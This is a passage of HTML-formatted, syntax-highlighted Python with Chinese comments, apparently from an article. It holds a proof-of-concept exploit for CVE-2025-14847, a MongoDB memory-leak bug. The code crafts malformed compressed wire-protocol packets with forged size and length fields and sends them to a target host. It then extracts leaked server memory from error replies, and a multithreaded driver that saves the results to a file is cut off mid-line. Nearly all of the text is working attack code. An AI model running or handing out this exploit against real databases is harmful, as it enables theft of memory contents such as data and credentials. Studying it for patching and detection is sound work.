leaf="">{hex_part:&lt;</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(209, 154, 102);"><span leaf="">47</span></span><span leaf="">}</span></span><span leaf="">  |</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(224, 108, 117);"><span leaf="">{ascii_part}</span></span><span leaf="">|&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">def</span></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(97, 174, 238);"><span leaf="">build_malformed_packet</span></span><span leaf="">(</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;"><span leaf="">leak_size</span></span><span leaf="">):                  </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(177, 142, 177);font-style: italic;"><span leaf=""># 第21行</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#34;&#34;&#34;构造恶意 OP_COMPRESSED 数据包&#34;&#34;&#34;</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(177, 142, 177);font-style: italic;"><span leaf=""># 构造 isMaster BSON 命令</span></span><span leaf=""><br/></span><span leaf="">    bson_payload = </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">b&#39;\x13\x00\x00\x00\x10isMaster\x00\x01\x00\x00\x00\x00&#39;</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(177, 142, 177);font-style: italic;"><span leaf=""># 构造 OP_QUERY 头部（指向 admin.$cmd）</span></span><span leaf=""><br/></span><span leaf="">    op_query_header = (struct.pack(</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#39;&lt;I&#39;</span></span><span leaf="">, </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(209, 154, 102);"><span leaf="">0</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">                       + </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">b&#39;admin.$cmd\x00&#39;</span></span><span leaf=""><br/></span><span leaf="">                       + struct.pack(</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#39;&lt;ii&#39;</span></span><span leaf="">, </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(209, 154, 102);"><span leaf="">0</span></span><span leaf="">, -</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(209, 154, 102);"><span leaf="">1</span></span><span leaf="">))</span><span leaf=""><br/></span><span leaf="">    original_msg = op_query_header + bson_payload</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(177, 142, 177);font-style: italic;"><span leaf=""># zlib 压缩</span></span><span leaf=""><br/></span><span leaf="">    compressed_body = zlib.compress(original_msg)</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(177, 142, 177);font-style: italic;"><span leaf=""># 构造 OP_COMPRESSED 数据（opcode=2004=OP_QUERY, 伪造 uncompressed size）</span></span><span leaf=""><br/></span><span leaf="">    op_compressed_data = (struct.pack(</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#39;&lt;I&#39;</span></span><span leaf="">, </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(209, 154, 102);"><span leaf="">2004</span></span><span leaf="">)        </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(177, 142, 177);font-style: italic;"><span leaf=""># 原始 opcode</span></span><span leaf=""><br/></span><span leaf="">                          + struct.pack(</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#39;&lt;I&#39;</span></span><span leaf="">, leak_size)  </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(177, 142, 177);font-style: italic;"><span leaf=""># 伪造的解压大小 &lt;-- 漏洞核心</span></span><span leaf=""><br/></span><span leaf="">                          + </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">b&#39;\x02&#39;</span></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(177, 142, 177);font-style: italic;"><span leaf=""># compressorId = zlib</span></span><span leaf=""><br/></span><span leaf="">                          + compressed_body)</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(177, 142, 177);font-style: italic;"><span leaf=""># 生成 MongoDB wire protocol 头部</span></span><span leaf=""><br/></span><span leaf="">    request_id = random.randint(</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(209, 154, 102);"><span leaf="">1000</span></span><span leaf="">, </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(209, 154, 102);"><span leaf="">9999</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    op_code = </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(209, 154, 102);"><span leaf="">2012</span></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(177, 142, 177);font-style: italic;"><span leaf=""># OP_COMPRESSED</span></span><span leaf=""><br/></span><span leaf="">    total_len = </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(209, 154, 102);"><span leaf="">16</span></span><span leaf=""> + </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(230, 192, 123);"><span leaf="">len</span></span><span leaf="">(op_compressed_data)</span><span leaf=""><br/></span><span leaf="">    header = struct.pack(</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#39;&lt;iiii&#39;</span></span><span leaf="">, total_len, request_id, </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(209, 154, 102);"><span leaf="">0</span></span><span leaf="">, op_code)</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">return</span></span><span leaf=""> header + op_compressed_data, request_id</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">def</span></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(97, 174, 238);"><span leaf="">send_probe</span></span><span leaf="">(</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;"><span leaf="">host, port, doc_len, buffer_size, timeout_sec=</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(209, 154, 102);"><span leaf="">2</span></span></span><span leaf="">):  </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(177, 142, 177);font-style: italic;"><span leaf=""># 第54行</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#34;&#34;&#34;发送畸形 BSON 触发内存泄漏&#34;&#34;&#34;</span></span><span leaf=""><br/></span><span leaf="">    content = </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">b&#39;\x10a\x00\x01\x00\x00\x00&#39;</span></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(177, 142, 177);font-style: italic;"><span leaf=""># BSON int32 element</span></span><span leaf=""><br/></span><span leaf="">    bson = struct.pack(</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#39;&lt;i&#39;</span></span><span leaf="">, doc_len) + content           </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(177, 142, 177);font-style: italic;"><span leaf=""># 伪造文档长度</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(177, 142, 177);font-style: italic;"><span leaf=""># 构造 OP_MSG (opcode=2013)</span></span><span leaf=""><br/></span><span leaf="">    op_msg = struct.pack(</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#39;&lt;I&#39;</span></span><span leaf="">, </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(209, 154, 102);"><span leaf="">0</span></span><span leaf="">) + </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">b&#39;\x00&#39;</span></span><span leaf=""> + bson</span><span leaf=""><br/></span><span leaf="">    compressed = zlib.compress(op_msg)</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(177, 142, 177);font-style: italic;"><span leaf=""># OP_COMPRESSED 载荷</span></span><span leaf=""><br/></span><span leaf="">    payload = struct.pack(</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#39;&lt;I&#39;</span></span><span leaf="">, </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(209, 154, 102);"><span leaf="">2013</span></span><span leaf="">)                     </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(177, 142, 177);font-style: italic;"><span leaf=""># 原始 opcode</span></span><span leaf=""><br/></span><span leaf="">    payload += struct.pack(</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#39;&lt;i&#39;</span></span><span leaf="">, buffer_size)              </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(177, 142, 177);font-style: italic;"><span leaf=""># 欺骗性解压大小</span></span><span leaf=""><br/></span><span leaf="">    payload += struct.pack(</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#39;B&#39;</span></span><span leaf="">, </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(209, 154, 102);"><span leaf="">2</span></span><span leaf="">)                        </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(177, 142, 177);font-style: italic;"><span leaf=""># compressorId = zlib</span></span><span leaf=""><br/></span><span leaf="">    payload += compressed</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(177, 142, 177);font-style: italic;"><span leaf=""># Wire protocol 头部</span></span><span leaf=""><br/></span><span leaf="">    header = struct.pack(</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#39;&lt;IIII&#39;</span></span><span leaf="">, </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(209, 154, 102);"><span leaf="">16</span></span><span leaf=""> + </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(230, 192, 123);"><span leaf="">len</span></span><span leaf="">(payload), </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(209, 154, 102);"><span leaf="">1</span></span><span leaf="">, </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(209, 154, 102);"><span leaf="">0</span></span><span leaf="">, </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(209, 154, 102);"><span leaf="">2012</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">try</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">        sock = socket.socket()</span><span leaf=""><br/></span><span leaf="">        sock.settimeout(timeout_sec)</span><span leaf=""><br/></span><span leaf="">        sock.connect((host, port))</span><span leaf=""><br/></span><span leaf="">        sock.sendall(header + payload)</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(177, 142, 177);font-style: italic;"><span leaf=""># 接收响应</span></span><span leaf=""><br/></span><span leaf="">        response = </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">b&#39;&#39;</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">while</span></span><span leaf=""> (</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(230, 192, 123);"><span leaf="">len</span></span><span leaf="">(response) &lt; </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(209, 154, 102);"><span leaf="">4</span></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">or</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(230, 192, 123);"><span leaf="">len</span></span><span leaf="">(response) &lt; struct.unpack(</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#39;&lt;I&#39;</span></span><span leaf="">, response[:</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(209, 154, 102);"><span leaf="">4</span></span><span leaf="">])[</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(209, 154, 102);"><span leaf="">0</span></span><span leaf="">]):</span><span leaf=""><br/></span><span leaf="">            chunk = sock.recv(</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(209, 154, 102);"><span leaf="">4096</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">if</span></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">not</span></span><span leaf=""> chunk:</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">break</span></span><span leaf=""><br/></span><span leaf="">            response += chunk</span><span leaf=""><br/></span><span leaf="">        sock.close()</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">return</span></span><span leaf=""> response</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">except</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">return</span></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">b&#39;&#39;</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">def</span></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(97, 174, 238);"><span leaf="">extract_leaks</span></span><span leaf="">(</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;"><span leaf="">response</span></span><span leaf="">):                             </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(177, 142, 177);font-style: italic;"><span leaf=""># 第89行</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#34;&#34;&#34;从错误响应中提取泄漏的内存数据&#34;&#34;&#34;</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">if</span></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(230, 192, 123);"><span leaf="">len</span></span><span leaf="">(response) &lt; </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(209, 154, 102);"><span leaf="">25</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">return</span></span><span leaf=""> []</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">try</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">        msg_len = struct.unpack(</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#39;&lt;I&#39;</span></span><span leaf="">, response[:</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(209, 154, 102);"><span leaf="">4</span></span><span leaf="">])[</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(209, 154, 102);"><span leaf="">0</span></span><span leaf="">]</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(177, 142, 177);font-style: italic;"><span leaf=""># 判断是否是 OP_COMPRESSED 响应</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">if</span></span><span leaf=""> struct.unpack(</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#39;&lt;I&#39;</span></span><span leaf="">, response[</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(209, 154, 102);"><span leaf="">12</span></span><span leaf="">:</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(209, 154, 102);"><span leaf="">16</span></span><span leaf="">])[</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(209, 154, 102);"><span leaf="">0</span></span><span leaf="">] == </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(209, 154, 102);"><span leaf="">2012</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">            raw = zlib.decompress(response[</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(209, 154, 102);"><span leaf="">25</span></span><span leaf="">:msg_len])</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">else</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">            raw = response[</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(209, 154, 102);"><span leaf="">16</span></span><span leaf="">:msg_len]</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">except</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">return</span></span><span leaf=""> []</span><span leaf=""><br/></span><span leaf="">    leaks = []</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(177, 142, 177);font-style: italic;"><span leaf=""># 模式1：从错误消息的 field name 中提取泄漏数据</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">for</span></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">match</span></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">in</span></span><span leaf=""> re.finditer(</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">b&#34;field name &#39;([^&#39;]*)&#39;&#34;</span></span><span leaf="">, raw):</span><span leaf=""><br/></span><span leaf="">        data = </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">match</span></span><span leaf="">.group(</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(209, 154, 102);"><span leaf="">1</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">if</span></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">not</span></span><span leaf=""> data:</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">continue</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">if</span></span><span leaf=""> data </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">not</span></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">in</span></span><span leaf=""> (</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">b&#39;?&#39;</span></span><span leaf="">, </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">b&#39;a&#39;</span></span><span leaf="">, </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">b&#39;$db&#39;</span></span><span leaf="">, </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">b&#39;ping&#39;</span></span><span leaf="">):</span><span leaf=""><br/></span><span leaf="">            leaks.append(data)</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(177, 142, 177);font-style: italic;"><span leaf=""># 模式2：从 type 字段中提取泄漏的字节</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">for</span></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">match</span></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">in</span></span><span leaf=""> re.finditer(</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">b&#39;type (\\d+)&#39;</span></span><span leaf="">, raw):</span><span leaf=""><br/></span><span leaf="">        leaks.append(</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(230, 192, 123);"><span leaf="">bytes</span></span><span leaf="">([</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(230, 192, 123);"><span leaf="">int</span></span><span leaf="">(</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">match</span></span><span leaf="">.group(</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(209, 154, 102);"><span leaf="">1</span></span><span leaf="">)) &amp; </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(209, 154, 102);"><span leaf="">255</span></span><span leaf="">]))</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">return</span></span><span leaf=""> leaks</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">def</span></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(97, 174, 238);"><span leaf="">main</span></span><span leaf="">():                                              </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(177, 142, 177);font-style: italic;"><span leaf=""># 第117行</span></span><span leaf=""><br/></span><span leaf="">    parser = argparse.ArgumentParser(</span><span leaf=""><br/></span><span leaf="">        description=</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#39;CVE-2025-14847 MongoDB Memory Leak&#39;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    parser.add_argument(</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#39;--host&#39;</span></span><span leaf="">, default=</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#39;localhost&#39;</span></span><span leaf="">, </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(230, 192, 123);"><span leaf="">help</span></span><span leaf="">=</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#39;Target host&#39;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    parser.add_argument(</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#39;--port&#39;</span></span><span leaf="">, </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(230, 192, 123);"><span leaf="">type</span></span><span leaf="">=</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(230, 192, 123);"><span leaf="">int</span></span><span leaf="">, default=</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(209, 154, 102);"><span leaf="">27017</span></span><span leaf="">, </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(230, 192, 123);"><span leaf="">help</span></span><span leaf="">=</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#39;Target port&#39;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    parser.add_argument(</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#39;--min-offset&#39;</span></span><span leaf="">, </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(230, 192, 123);"><span leaf="">type</span></span><span leaf="">=</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(230, 192, 123);"><span leaf="">int</span></span><span leaf="">, default=</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(209, 154, 102);"><span leaf="">20</span></span><span leaf="">, </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(230, 192, 123);"><span leaf="">help</span></span><span leaf="">=</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#39;Min doc length&#39;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    parser.add_argument(</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#39;--max-offset&#39;</span></span><span leaf="">, </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(230, 192, 123);"><span leaf="">type</span></span><span leaf="">=</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(230, 192, 123);"><span leaf="">int</span></span><span leaf="">, default=</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(209, 154, 102);"><span leaf="">8192</span></span><span leaf="">, </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(230, 192, 123);"><span leaf="">help</span></span><span leaf="">=</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#39;Max doc length&#39;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    parser.add_argument(</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#39;-timeout&#39;</span></span><span leaf="">, </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#39;--timeout&#39;</span></span><span leaf="">, </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(230, 192, 123);"><span leaf="">type</span></span><span leaf="">=</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(230, 192, 123);"><span leaf="">int</span></span><span leaf="">, default=</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(209, 154, 102);"><span leaf="">2</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(230, 192, 123);"><span leaf="">help</span></span><span leaf="">=</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#39;Connection timeout in seconds&#39;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    parser.add_argument(</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#39;-c&#39;</span></span><span leaf="">, </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#39;--thread&#39;</span></span><span leaf="">, </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(230, 192, 123);"><span leaf="">type</span></span><span leaf="">=</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(230, 192, 123);"><span leaf="">int</span></span><span leaf="">, default=</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(209, 154, 102);"><span leaf="">50</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(230, 192, 123);"><span leaf="">help</span></span><span leaf="">=</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#39;Number of concurrent threads&#39;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    parser.add_argument(</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#39;--output&#39;</span></span><span leaf="">, default=</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#39;leaked.bin&#39;</span></span><span leaf="">, </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(230, 192, 123);"><span leaf="">help</span></span><span leaf="">=</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#39;Output file&#39;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    args = parser.parse_args()</span><span leaf=""><br/></span><span leaf="">    log.info(</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">f&#34;[*] Target: </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(224, 108, 117);"><span leaf="">{args.host}</span></span><span leaf="">:</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(224, 108, 117);"><span leaf="">{args.port}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    log.info(</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 